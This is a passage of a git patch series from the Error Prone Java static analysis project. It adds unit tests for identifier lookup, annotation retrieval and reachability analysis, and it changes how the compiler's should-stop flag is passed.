= () -> { + class Helper { + private String s3; + void reallyDoIt() { + // BUG: Diagnostic contains: [s3, s2] + String.format(s3 + s2); + } + } + }; + } + """) + .doTest(); + } + + @Test + public void findAllIdentsInnerClassWhereTopLevelExtends() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "ToExtend.java", + """ + class ToExtend { + String s1; + } + """) + .addSourceLines( + "Outer.java", + """ + class Outer extends ToExtend { + private String s2; + class Inner { + void doIt() { + // BUG: Diagnostic contains: [s2, s1] + String.format(s2 + s1); + } + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsMixedStaticAndNonStaticNestedClasses() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Outer.java", + """ + class Outer { + String s1; + static class Inner { + String s2; + class EvenMoreInner { + String s3; + void doIt() { + // BUG: Diagnostic contains: [s3, s2] + String.format(s3 + s2); + } + } + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsAnonymousClass() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + public String s1; + private void doIt(final String s2) { + String s3 = ""; + String s4 = ""; + new Thread( + new Runnable() { + @Override public void run() { + String s5 = ""; + s5 = "foo"; + // BUG: Diagnostic contains: [s5, s3, s2, s1] + String.format(s5 + s3 + s2 + s1); + } + } + ).start(); + s4 = "foo"; + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsLambda() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + public String s1; + private void doIt(final String s2) { + String s3 = ""; + String s4 = ""; + // BUG: Diagnostic contains: [s3, s2, s1] + new Thread(() -> String.format(s3 + s2 + s1)).start(); + s4 = "foo"; + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsLambdaWithParams() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + import java.util.function.Function; + class Test { + public String s1; + private void doIt(final String s2) { + String s3 = ""; + String s4 = ""; + // BUG: Diagnostic contains: [name, s3, s2, s1] + Function f = (String name) -> String.format(name + s3 + s2 + s1); + s4 = "foo"; + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsExceptionParameter() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + public String s1; + private void doIt(final String s2) { + String s3 = ""; + try { + s3 = s1; + } catch (Exception e) { + // BUG: Diagnostic contains: [e, s3, s2, s1] + String.format(e + s3 + s2 + s1); + } + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsLocalClass() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + private void doIt() { + String s1 = ""; + final String s2 = ""; + String s3 = ""; + class Local { + public void doIt() { + // BUG: Diagnostic contains: [s1, s2] + String.format(s2 + s1); + } + } + s3 = "foo"; + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsStaticInitializer() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + public static String s1; + public String s2; + static { + // BUG: Diagnostic contains: [s1] + String.format(s1); + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsStaticVariableInitializer() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + public static String s1; + public String s2; + // BUG: Diagnostic contains: [s1] + public static String s3 = String.format(s1); + } + """) + .doTest(); + } + + @Test + public void findAllIdentsExplicitConstructorInvocation() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + private String s1; + private static String s2; + public Test(String s1) { + this.s1 = s1; + } + public Test() { + // BUG: Diagnostic contains: [s2] + this(String.format(s2)); + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsExplicitConstructorInvocation2() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Super.java", + """ + class Super { + protected String s1; + protected static String s2; + public Super(String s1) { + this.s1 = s1; + } + } + """) + .addSourceLines( + "Sub.java", + """ + class Sub extends Super { + public Sub(String s3) { + // BUG: Diagnostic contains: [s3, s2] + super(String.format(s3 + s2)); + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsInterface() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "MyInterface.java", + """ + interface MyInterface { + String EMPTY_STRING = ""; + } + """) + .addSourceLines( + "MyImpl.java", + """ + class MyImpl implements MyInterface { + void doIt() { + // BUG: Diagnostic contains: [EMPTY_STRING] + String.format(EMPTY_STRING); + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsEnumConstant() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "MyEnum.java", + """ + enum MyEnum { + FOO, + BAR, + BAZ; + static class Nested { + void doIt() { + // BUG: Diagnostic contains: [FOO, BAR, BAZ] + String.format(FOO.toString() + BAR.toString() + BAZ.toString()); + } + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsForLoop() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + void doIt() { + for (int i = 0; i < 10; i++) { + // BUG: Diagnostic contains: [i] + String.format(Integer.toString(i)); + } + for (int j : new int[]{0, 1, 2}) { + // BUG: Diagnostic contains: [j] + String.format(Integer.toString(j)); + } + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsTryWithResources() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ +import java.io.*; +import java.nio.charset.StandardCharsets; +import java.nio.file.*; +class Test { + void doIt() { + try ( + BufferedReader reader = Files.newBufferedReader(Paths.get("foo")); + // BUG: Diagnostic contains: [reader] + InputStream is = new ByteArrayInputStream(String.format(reader.readLine()).getBytes(StandardCharsets.UTF_8)) + ) { + // BUG: Diagnostic contains: [reader, is] + String.format(reader.readLine() + is.toString()); + } catch (IOException e) { + // BUG: Diagnostic contains: [e] + String.format(e.toString()); + } + } +} +""") + .doTest(); + } + + @Test + public void findAllIdentsStaticImport() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + import static java.nio.charset.StandardCharsets.UTF_8; + class Test { + void doIt() { + // BUG: Diagnostic contains: [UTF_8] + String.format(UTF_8.toString()); + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsInheritedStaticImport() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "pkg/MyInterface.java", + """ + package pkg; + public interface MyInterface { + String EMPTY = ""; + } + """) + .addSourceLines( + "pkg/Super.java", + """ + package pkg; + public class Super { + public static final String FOO = "foo"; + } + """) + .addSourceLines( + "pkg/Impl.java", + """ + package pkg; + public class Impl extends Super implements MyInterface {} + """) + .addSourceLines( + "Test.java", + """ + import static pkg.Impl.EMPTY; + import static pkg.Impl.FOO; + public class Test { + void doIt() { + // BUG: Diagnostic contains: [EMPTY, FOO] + String.format(EMPTY + FOO); + } + } + """) + .doTest(); + } + + /** A {@link BugChecker} that prints all identifiers in scope at a method declaration. */ + @BugPattern( + severity = SeverityLevel.ERROR, + summary = "Prints all identifiers in scope at a method declaration.") + public static class PrintIdentsAtMethodDeclaration extends BugChecker + implements MethodTreeMatcher { + @Override + public Description matchMethod(MethodTree tree, VisitorState state) { + return buildDescription(tree) + .setMessage(FindIdentifiers.findAllIdents(state).toString()) + .build(); + } + } + + @Test + public void findAllIdentsAtDoItMethod() { + CompilationTestHelper.newInstance(PrintIdentsAtMethodDeclaration.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + private String s1; + private String s2; + // BUG: Diagnostic contains: [s1, s2] + private void doIt() {} + } + """) + .doTest(); + } + + /** + * A {@link BugChecker} that prints all unused variables in scope at a call to String.format(). + */ + @BugPattern( + severity = SeverityLevel.ERROR, + summary = "Prints all unused variabled in scope at a call to String.format()") + public static class PrintUnusedVariables extends BugChecker + implements MethodInvocationTreeMatcher { + @Override + public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) { + if (MethodMatchers.staticMethod() + .onClass("java.lang.String") + .named("format") + .matches(tree, state)) { + return buildDescription(tree) + .setMessage(FindIdentifiers.findUnusedIdentifiers(state).toString()) + .build(); + } + return Description.NO_MATCH; + } + } + + @Test + public void returnsVariable_findUnusedVariables_whenVariableUnusedInBlock() { + CompilationTestHelper.newInstance(PrintUnusedVariables.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + private void doIt() { + String a = null; + // BUG: Diagnostic contains: [a] + String.format(a); + } + } + """) + .doTest(); + } + + @Test + public void ignoresVariable_findUnusedVariables_whenVariableUsedAsArgumentInBlock() { + CompilationTestHelper.newInstance(PrintUnusedVariables.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + void test(String arg) {} + private void doIt() { + String a = null; + test(a); + // BUG: Diagnostic contains: [] + String.format(null); + } + } + """) + .doTest(); + } + + @Test + public void ignoresVariable_findUnusedVariables_whenVariableUsedInExpressionInBlock() { + CompilationTestHelper.newInstance(PrintUnusedVariables.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + void test(String arg) {} + private void doIt() { + String a = null; + if (a == null) {} + // BUG: Diagnostic contains: [] + String.format(null); + } + } + """) + .doTest(); + } + + @Test + public void returnsVariable_findUnusedVariables_whenVariableUsedLaterInBlock() { + CompilationTestHelper.newInstance(PrintUnusedVariables.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + void test(String arg) {} + private void doIt() { + String a = null; + // BUG: Diagnostic contains: [a] + String.format(null); + test(a); + } + } + """) + .doTest(); + } + + @Test + public void returnsVariable_findUnusedVariables_whenVariableUnusedButSameNameAsField() { + CompilationTestHelper.newInstance(PrintUnusedVariables.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + String a = null; + void test(String arg) {} + private void doIt() { + test(a); + String a = null; + // BUG: Diagnostic contains: [a] + String.format(null); + } + } + """) + .doTest(); + } + + @Test + public void returnsVariable_findUnusedVariables_whenVariableDefinedInEnhancedFor() { + CompilationTestHelper.newInstance(PrintUnusedVariables.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + private void doIt() { + for(String a : new String[] {}) { + // BUG: Diagnostic contains: [a] + String.format(a); + } + } + } + """) + .doTest(); + } + + @Test + public void returnsVariable_findUnusedVariables_whenLaterUseInAssignment() { + CompilationTestHelper.newInstance(PrintUnusedVariables.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + private void doIt() { + String a = null; + // BUG: Diagnostic contains: [a] + String b = String.format(a); + } + } + """) + .doTest(); + } + + /** A {@link BugChecker} that prints all fields in receiver class on method invocations. */ + @BugPattern( + severity = SeverityLevel.ERROR, + summary = "Prints all fields in receivers of method invocations") + public static class PrintFields extends BugChecker implements MethodInvocationTreeMatcher { + @Override + public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) { + MethodSymbol symbol = ASTHelpers.getSymbol(tree); + Type receiverType = symbol.owner.asType(); + ImmutableList fields = FindIdentifiers.findAllFields(receiverType, state); + return buildDescription(tree).setMessage(fields.toString()).build(); + } + } + + @Test + public void findsStaticAndInstanceFields_findAllFields() { + CompilationTestHelper.newInstance(PrintFields.class, getClass()) + .addSourceLines( + "Reference.java", + """ + class Reference { + static String staticField; + String instanceField; + static void test() {} + } + """) + .addSourceLines( + "Test.java", + """ + class Test { + private void doIt() { + // BUG: Diagnostic contains: [staticField, instanceField] + Reference.test(); + } + } + """) + .doTest(); + } + + @Test + public void findsInheritedStaticAndInstanceFields_findAllFields() { + CompilationTestHelper.newInstance(PrintFields.class, getClass()) + .addSourceLines( + "Super.java", + """ + class Super { + static String staticField; + String instanceField; + } + """) + .addSourceLines( + "Reference.java", + """ + class Reference extends Super { + static void test() {} + } + """) + .addSourceLines( + "Test.java", + """ + class Test { + private void doIt() { + // BUG: Diagnostic contains: [staticField, instanceField] + Reference.test(); + } + } + """) + .doTest(); + } + + /** A {@link BugChecker} that prints whether {@code A} is visible on each member select. */ + @BugPattern(severity = SeverityLevel.ERROR, summary = "A is visible") + public static class IsAVisible extends BugChecker implements MemberSelectTreeMatcher { + @Override + public Description matchMemberSelect(MemberSelectTree tree, VisitorState state) { + return FindIdentifiers.findIdent("A", state, KindSelector.TYP) == null + ? Description.NO_MATCH + : describeMatch(tree); + } + } + + @Test + public void aNotVisibleOutsideClass() { + CompilationTestHelper.newInstance(IsAVisible.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test extends java.lang.Object { + // BUG: Diagnostic contains: + Test.A foo() { + return null; + } + class A {} + } + """) + .doTest(); + } + + @Test + public void aVisibleOutsideClass() { + CompilationTestHelper.newInstance(IsAVisible.class, getClass()) + .addSourceLines( + "A.java", + """ + package pkg; + class A {} + """) + .addSourceLines( + "Test.java", + """ + package pkg; + // BUG: Diagnostic contains: + class Test extends java.lang.Object { + // BUG: Diagnostic contains: + pkg.A foo() { + return null; + } + } + """) + .doTest(); + } + + /** A {@link BugChecker} that prints whether {@code A} is visible on each class tree. */ + @BugPattern(severity = SeverityLevel.ERROR, summary = "A is visible on ClassTree") + public static class IsAVisibleOnClassTree extends BugChecker implements ClassTreeMatcher { + @Override + public Description matchClass(ClassTree tree, VisitorState state) { + return FindIdentifiers.findIdent("A", state, KindSelector.TYP) == null + ? Description.NO_MATCH + : describeMatch(tree); + } + } + + @Test + public void aVisibleOnClassTree() { + CompilationTestHelper.newInstance(IsAVisibleOnClassTree.class, getClass()) + .addSourceLines( + "Test.java", + """ + // BUG: Diagnostic contains: + class Test { + // BUG: Diagnostic contains: + class A {} + } + """) + .doTest(); + } + + @Test + public void aNotVisibleOnClassTree() { + CompilationTestHelper.newInstance(IsAVisibleOnClassTree.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + // BUG: Diagnostic contains: + class Sub { + // BUG: Diagnostic contains: + class A {} + } + } + """) + .doTest(); + } +} diff --git a/check_api/src/test/java/com/google/errorprone/util/MoreAnnotationsTest.java b/check_api/src/test/java/com/google/errorprone/util/MoreAnnotationsTest.java new file mode 100644 index 00000000000..3c8bdeef03a --- /dev/null +++ b/check_api/src/test/java/com/google/errorprone/util/MoreAnnotationsTest.java @@ -0,0 +1,226 @@ +/* + * Copyright 2018 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.errorprone.util; + +import static com.google.errorprone.BugPattern.SeverityLevel.ERROR; +import static com.google.errorprone.matchers.Description.NO_MATCH; +import static java.util.stream.Collectors.joining; + +import com.google.errorprone.BugPattern; +import com.google.errorprone.CompilationTestHelper; +import com.google.errorprone.VisitorState; +import com.google.errorprone.bugpatterns.BugChecker; +import com.google.errorprone.bugpatterns.BugChecker.ClassTreeMatcher; +import com.google.errorprone.bugpatterns.BugChecker.MethodTreeMatcher; +import com.google.errorprone.bugpatterns.BugChecker.VariableTreeMatcher; +import com.google.errorprone.matchers.Description; +import com.sun.source.tree.ClassTree; +import com.sun.source.tree.MethodTree; +import com.sun.source.tree.Tree; +import com.sun.source.tree.VariableTree; +import com.sun.tools.javac.code.Attribute.Compound; +import com.sun.tools.javac.code.Attribute.TypeCompound; +import com.sun.tools.javac.code.Symbol; +import java.util.stream.Stream; +import javax.lang.model.element.ElementKind; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** {@link MoreAnnotations}Test */ +@RunWith(JUnit4.class) +public final class MoreAnnotationsTest { + + abstract static class MoreAnnotationsTester extends BugChecker + implements ClassTreeMatcher, MethodTreeMatcher, VariableTreeMatcher { + + private Description process(Tree tree) { + Symbol sym = ASTHelpers.getSymbol(tree); + if (sym == null) { + return NO_MATCH; + } + if (sym.getKind() == ElementKind.ANNOTATION_TYPE) { + return NO_MATCH; + } + String annos = + getAnnotations(sym) + .map(c -> c.type.asElement().getSimpleName().toString()) + .collect(joining(", ")); + if (annos.isEmpty()) { + return NO_MATCH; + } + return buildDescription(tree).setMessage(annos).build(); + } + + protected abstract Stream getAnnotations(Symbol sym); + + @Override + public Description matchClass(ClassTree tree, VisitorState state) { + return process(tree); + } + + @Override + public Description matchMethod(MethodTree tree, VisitorState state) { + return process(tree); + } + + @Override + public Description matchVariable(VariableTree tree, VisitorState state) { + return process(tree); + } + } + + @BugPattern(summary = "A test checker.", severity = ERROR) + public static class GetDeclarationAndTypeAttributesTester extends MoreAnnotationsTester { + @Override + protected Stream getAnnotations(Symbol sym) { + return MoreAnnotations.getDeclarationAndTypeAttributes(sym); + } + } + + @BugPattern(summary = "A test checker.", severity = ERROR) + public static class GetTopLevelTypeAttributesTester extends MoreAnnotationsTester { + @Override + protected Stream getAnnotations(Symbol sym) { + return MoreAnnotations.getTopLevelTypeAttributes(sym); + } + } + + @Test + public void getDeclarationAndTypeAttributesTest() { + CompilationTestHelper.newInstance(GetDeclarationAndTypeAttributesTester.class, getClass()) + .addSourceLines( + "Annos.java", + """ +import static java.lang.annotation.ElementType.*; +import java.lang.annotation.Target; +@Target(TYPE_USE) +@interface Other {} +@Target(TYPE_USE) +@interface TA {} +@Target({TYPE, CONSTRUCTOR, FIELD, LOCAL_VARIABLE, METHOD, PARAMETER, TYPE_PARAMETER}) +@interface DA {} +@Target({TYPE, TYPE_USE, CONSTRUCTOR, FIELD, LOCAL_VARIABLE, METHOD, PARAMETER, TYPE_PARAMETER}) +@interface A {} +""") + .addSourceLines( + "Test.java", + """ + import java.util.List; + // BUG: Diagnostic contains: DA, A + @DA @A class Test { + // BUG: Diagnostic contains: DA, A, TA + @TA @DA @A Test() {} + // BUG: Diagnostic contains: DA, A, TA + @TA @DA @A List<@Other String> field; + { + // BUG: Diagnostic contains: DA, A, TA + @TA @DA @A List<@Other String> local; + } + // BUG: Diagnostic contains: DA, A, TA + @TA @DA @A List<@Other String> f( + // BUG: Diagnostic contains: DA, A, TA + @TA @DA @A List<@Other String> param) { + return null; + } + } + """) + .doTest(); + } + + @Test + public void getTopLevelTypeAttributesTest() { + CompilationTestHelper.newInstance(GetTopLevelTypeAttributesTester.class, getClass()) + .addSourceLines( + "Annos.java", + """ +import static java.lang.annotation.ElementType.*; +import java.lang.annotation.Target; +@Target(TYPE_USE) +@interface Other {} +@Target(TYPE_USE) +@interface TA {} +@Target({TYPE, CONSTRUCTOR, FIELD, LOCAL_VARIABLE, METHOD, PARAMETER, TYPE_PARAMETER}) +@interface DA {} +@Target({TYPE, TYPE_USE, CONSTRUCTOR, FIELD, LOCAL_VARIABLE, METHOD, PARAMETER, TYPE_PARAMETER}) +@interface A {} +""") + .addSourceLines( + "Test.java", + """ + import java.util.List; + @DA @A class Test { + // BUG: Diagnostic contains: TA, A + @TA @DA @A Test() {} + // BUG: Diagnostic contains: TA, A + @TA @DA @A List<@Other String> field; + { + // BUG: Diagnostic contains: TA, A + @TA @DA @A List<@Other String> local; + } + // BUG: Diagnostic contains: TA, A + @TA @DA @A List<@Other String> f( + // BUG: Diagnostic contains: TA, A + @TA @DA @A List<@Other String> param) { + return null; + } + } + """) + .doTest(); + } + + @Test + public void nestedClassesTest() { + CompilationTestHelper.newInstance(GetTopLevelTypeAttributesTester.class, getClass()) + .addSourceLines( + "Annos.java", + """ + import static java.lang.annotation.ElementType.TYPE_USE; + import java.lang.annotation.Target; + @Target(TYPE_USE) @interface A {} + @Target(TYPE_USE) @interface B {} + @Target(TYPE_USE) @interface C {} + """) + .addSourceLines( + "Test.java", + """ + import java.util.List; + abstract class Outer { + class Middle { + class Inner {} + } + class MiddleStatic { + class Inner {} + class InnerStatic {} + } + // BUG: Diagnostic contains: C + @A Outer . @B Middle . @C Inner x; + // BUG: Diagnostic contains: B + Outer . @A MiddleStatic . @B Inner y; + // BUG: Diagnostic contains: A + Outer . MiddleStatic . @A InnerStatic z; + // BUG: Diagnostic contains: C + abstract @A Outer . @B Middle . @C Inner f(); + // BUG: Diagnostic contains: B + abstract Outer . @A MiddleStatic . @B Inner g(); + // BUG: Diagnostic contains: A + abstract Outer . MiddleStatic . @A InnerStatic h(); + } + """) + .doTest(); + } +} diff --git a/check_api/src/test/java/com/google/errorprone/util/ReachabilityTest.java b/check_api/src/test/java/com/google/errorprone/util/ReachabilityTest.java new file mode 100644 index 00000000000..3189312ab1a --- /dev/null +++ b/check_api/src/test/java/com/google/errorprone/util/ReachabilityTest.java @@ -0,0 +1,326 @@ +/* + * Copyright 2017 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.errorprone.util; + +import static com.google.errorprone.BugPattern.SeverityLevel.ERROR; +import static com.google.errorprone.matchers.Description.NO_MATCH; +import static java.util.stream.Collectors.toList; + +import com.google.common.base.Joiner; +import com.google.common.collect.Iterables; +import com.google.errorprone.BugPattern; +import com.google.errorprone.CompilationTestHelper; +import com.google.errorprone.VisitorState; +import com.google.errorprone.bugpatterns.BugChecker; +import com.google.errorprone.bugpatterns.BugChecker.SwitchTreeMatcher; +import com.google.errorprone.matchers.Description; +import com.sun.source.tree.SwitchTree; +import java.util.Arrays; +import java.util.List; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.Parameterized; +import org.junit.runners.Parameterized.Parameters; + +/** {@link Reachability}Test. */ +@RunWith(Parameterized.class) +public class ReachabilityTest { + + /** Reports an error if the first case in a switch falls through to the second. */ + @BugPattern(summary = "", severity = ERROR) + public static class FirstCaseFallsThrough extends BugChecker implements SwitchTreeMatcher { + + @Override + public Description matchSwitch(SwitchTree tree, VisitorState state) { + if (tree.getCases().size() != 2 || tree.getCases().get(0).getStatements().isEmpty()) { + return NO_MATCH; + } + return Reachability.canCompleteNormally( + Iterables.getLast(tree.getCases().get(0).getStatements())) + ? describeMatch(tree.getCases().get(1)) + : NO_MATCH; + } + } + + private final String[] lines; + + public ReachabilityTest(String[] lines) { + this.lines = lines; + } + + @Test + public void test() { + CompilationTestHelper.newInstance(FirstCaseFallsThrough.class, getClass()) + .addSourceLines( + "in/Test.java", + "import java.io.*;", + "import java.nio.file.*;", + "class Test {", + " void f(int x) {", + " switch (x) {", + " case 1:", + Joiner.on('\n').join(lines), + " default:", + " break;", + " }", + " }", + "}") + .doTest(); + } + + @Parameters + public static List parameters() { + String[][] parameters = { + { + "int a = 1;", // + "int b = 2;", + "break;", + }, + { + "System.err.println();", // + "// BUG: Diagnostic contains:", + }, + { + "int a = 1;", + "int b = 2;", + "class L {}", + ";;", + "assert false;", + "label: System.err.println();", + "// BUG: Diagnostic contains:", + }, + { + "if (true) {", // + "} else {", + " break;", + "}", + "// BUG: Diagnostic contains:", + }, + { + "if (true) {", // + " break;", + "}", + "// BUG: Diagnostic contains:", + }, + { + "if (true) {", // + " break;", + "} else {", + "}", + "// BUG: Diagnostic contains:", + }, + { + "if (true) {", // + " break;", + "} else {", + " break;", + "}", + }, + { + "switch (42) {", // + " case 0:", + " case 1:", + " case 2:", + "}", + "// BUG: Diagnostic contains:", + }, + { + "switch (42) {", // + "}", + "// BUG: Diagnostic contains:", + }, + { + "switch (42) {", + " case 0:", + " break;", + " case 1:", + "}", + "// BUG: Diagnostic contains:", + }, + { + "switch (42) {", // + " default:", + " break;", + "}", + "// BUG: Diagnostic contains:", + }, + { + "switch (42) {", // + " default:", + " return;", + "}", + }, + { + "while (true) {", // + "}", + }, + { + "while (true) {", // + " break;", + "}", + "// BUG: Diagnostic contains:", + }, + { + "while (true) {", // + " return;", + "}", + }, + { + "while (x == 0) {}", // + "// BUG: Diagnostic contains:", + }, + { + "loop: do {", // + " continue loop;", + "} while (x == 0);", + "// BUG: Diagnostic contains:", + }, + { + "loop: do {", // + " continue loop;", + "} while (true);", + }, + { + "int i = 1;", + "loop: do {", + " i++;", + " continue loop;", + "} while (i == 0);", + "// BUG: Diagnostic contains:", + }, + { + "try {", + " Files.readAllBytes(Paths.get(\"file\"));", + " return;", + "} catch (IOException e) {", + " return;", + "}", + }, + { + "try {", + " try {", + " Files.readAllBytes(Paths.get(\"file\"));", + " return;", + " } catch (NullPointerException e) {", + " return;", + " }", + "} catch (IOException e) {", + " return;", + "}", + }, + { + "try {", + " Files.readAllBytes(Paths.get(\"file\"));", + " return;", + "} catch (IOException e) {", + " return;", + "} finally {", + "}", + }, + { + "try {", // + " //", + "} catch (Throwable t) {", + " return;", + "} finally {", + " return;", + "}", + }, + { + "try {", // + " return;", + "} catch (Throwable t) {", + " //", + "} finally {", + " return;", + "}", + }, + { + "int y = 0;", + "while (true) {", + " if (y++ > 10) {", + " return;", + " }", + " if (y-- < 10) {", + " return;", + " }", + "}", + }, + { + "int y = 0;", + "while (true) {", + " do {", + " switch (y) {", + " case 0:", + " continue;", // continue target is do/while, not switch or outer while + " }", + " } while (y > 0);", + " break;", + "}", + "// BUG: Diagnostic contains:", + }, + { + "try {", + " if (Files.readAllBytes(Paths.get(\"file\")) != null) {}", + " return;", + "} catch (IOException e) {", + "}", + "// BUG: Diagnostic contains:", + }, + { + "try {", + " Files.readAllBytes(Paths.get(\"file\"));", + "} catch (IOException e) {", + " throw new IOError(e);", + "}", + "// BUG: Diagnostic contains:", + }, + { + "try {", + " Files.readAllBytes(Paths.get(\"file\"));", + " return;", + "} catch (IOException e) {", + " throw new IOError(e);", + "}", + }, + { + "throw new AssertionError();", + }, + { + "for (;;) {}", + }, + { + "System.exit(1);", // + }, + { + "{", // + " System.exit(1);", + " throw new AssertionError();", + "}", + }, + { + "l:", // + "do {", + " break l;", + "} while (true);", + "System.err.println();", + "// BUG: Diagnostic contains:", + }, + }; + return Arrays.stream(parameters).map(x -> new Object[] {x}).collect(toList()); + } +} From ca50d5c282bab7efb228434c75515135a0f97156 Mon Sep 17 00:00:00 2001 From: Liam Miller-Cushon Date: Wed, 16 Oct 2024 09:10:11 -0700 Subject: [PATCH 18/25] Update `--should-stop=ifError=FLOW` flags This is equivalent to `-XDshould-stop.ifError=FLOW`, but the `-XD` flag is a internal javac debug flag interface that writes directly to the options table. The `--should-stop` flags are slightly more standard. https://github.com/google/error-prone/issues/4595 PiperOrigin-RevId: 686530096 --- .../errorprone/BaseErrorProneJavaCompiler.java | 14 ++++++-------- .../ErrorProneCompilerIntegrationTest.java | 14 ++++++++++++-- .../errorprone/ErrorProneJavacPluginTest.java | 2 +- 3 files changed, 19 insertions(+), 11 deletions(-) diff --git a/check_api/src/main/java/com/google/errorprone/BaseErrorProneJavaCompiler.java b/check_api/src/main/java/com/google/errorprone/BaseErrorProneJavaCompiler.java index 6778d2d4190..0d81955c2fe 100644 --- a/check_api/src/main/java/com/google/errorprone/BaseErrorProneJavaCompiler.java +++ b/check_api/src/main/java/com/google/errorprone/BaseErrorProneJavaCompiler.java @@ -196,27 +196,25 @@ private static ImmutableList setCompilePolicyToByFile(ImmutableListbuilder().addAll(args).add("-XDcompilePolicy=simple").build(); } - private static void checkShouldStopIfErrorPolicy(String value) { + private static void checkShouldStopIfErrorPolicy(String arg) { + String value = arg.substring(arg.lastIndexOf('=') + 1); CompileState state = CompileState.valueOf(value); if (CompileState.FLOW.isAfter(state)) { throw new InvalidCommandLineOptionException( String.format( - "-XDshould-stop.ifError=%s is not supported by Error Prone, pass" - + " -XDshould-stop.ifError=FLOW instead", - state)); + "%s is not supported by Error Prone, pass --should-stop=ifError=FLOW instead", arg)); } } private static ImmutableList setShouldStopIfErrorPolicyToFlow( ImmutableList args) { for (String arg : args) { - if (arg.startsWith("-XDshould-stop.ifError")) { - String value = arg.substring(arg.indexOf('=') + 1); - checkShouldStopIfErrorPolicy(value); + if (arg.startsWith("--should-stop=ifError") || arg.startsWith("-XDshould-stop.ifError")) { + checkShouldStopIfErrorPolicy(arg); return args; // don't do anything if a valid policy is already set } } - return ImmutableList.builder().addAll(args).add("-XDshould-stop.ifError=FLOW").build(); + return ImmutableList.builder().addAll(args).add("--should-stop=ifError=FLOW").build(); } /** Registers our message bundle. */ diff --git a/core/src/test/java/com/google/errorprone/ErrorProneCompilerIntegrationTest.java b/core/src/test/java/com/google/errorprone/ErrorProneCompilerIntegrationTest.java index ef52380e3be..4f5dc18ec60 100644 --- a/core/src/test/java/com/google/errorprone/ErrorProneCompilerIntegrationTest.java +++ b/core/src/test/java/com/google/errorprone/ErrorProneCompilerIntegrationTest.java @@ -689,7 +689,7 @@ public void stopPolicy_effectivelyFinal() { compilerBuilder.report( ScannerSupplier.fromBugCheckerClasses(EffectivelyFinalChecker.class, CPSChecker.class)); compiler = compilerBuilder.build(); - // Without -XDshould-stop.ifError=FLOW, the errors reported by CPSChecker will cause javac to + // Without --should-stop=ifError=FLOW, the errors reported by CPSChecker will cause javac to // stop processing B after an error is reported in A. Error Prone will still analyze B without // it having gone through 'flow', and the EFFECTIVELY_FINAL analysis will not have happened. // see https://github.com/google/error-prone/issues/4595 @@ -729,7 +729,7 @@ int f(int x) { public void stopPolicy_flow() { Result exitCode = compiler.compile( - new String[] {"-XDshould-stop.ifError=FLOW"}, + new String[] {"--should-stop=ifError=FLOW"}, ImmutableList.of( forSourceLines( "Test.java", @@ -743,6 +743,16 @@ 